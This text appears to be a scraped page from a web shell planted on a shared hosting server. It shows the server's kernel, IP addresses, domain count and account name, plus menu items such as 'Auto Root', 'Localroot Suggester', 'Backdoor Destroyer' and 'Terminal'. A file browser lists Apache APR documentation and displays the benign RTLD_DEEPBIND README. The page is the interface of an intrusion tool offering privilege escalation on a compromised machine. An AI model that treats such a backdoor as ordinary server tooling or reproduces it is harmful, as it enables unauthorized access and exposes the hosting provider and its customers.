Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.105
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
apr /
Delete
Unzip
Name
Size
Permission
Date
Action
CHANGES
3.01
KB
-rw-r--r--
2019-04-01 17:44
LICENSE
17.56
KB
-rw-r--r--
2013-10-21 11:57
NOTICE
527
B
-rw-r--r--
2019-01-01 11:39
README
5.5
KB
-rw-r--r--
2010-03-01 20:40
README.cmake
4.4
KB
-rw-r--r--
2014-01-20 14:16
README.deepbind
1.3
KB
-rw-r--r--
2023-12-11 10:20
README.deepbind.deepbind
0
B
-rw-r--r--
2023-12-11 10:20
Save
Rename
This distribution of APR contains a modification of the behaviour of the apr_dso_open() function which allows users enable the "RTLD_DEEPBIND" flag when dlopen() is called. If the "APR_DEEPBIND" environment variable is set at runtime, the RTLD_DEEPBIND flag is always added to the flags passed to dlopen(). With normal use of dlopen(), dynamically loaded objects will use global symbols in preference to any symbols defined within the object. Using RTLD_DEEPBIND reverses this binding order. See the dlopen(3) man page for more information. This can be useful with Apache httpd, where two different modules are loaded like: 1. mod_foo.so uses library "libfoo.so" libfoo.so defines a function "SomeSym" 2. mod_bar.so uses library "libbar.so" libbar.so defines a different "SomeSym" function By default, mod_bar or mod_foo would use the "SomeSym" definition from the "wrong" library depending on the load order. If RTLD_DEEPBIND is used, the "SomeSym" definition will always be mapped to the definition from the corresponding dependent library. This can avoid symbol conflicts. There are some risks with using RTLD_DEEPBIND, in particular potential issues with modules written in C++. It is not recommended to enable $APR_DEEPBIND unless it solves a specific problem and after thorough testing of the configuration.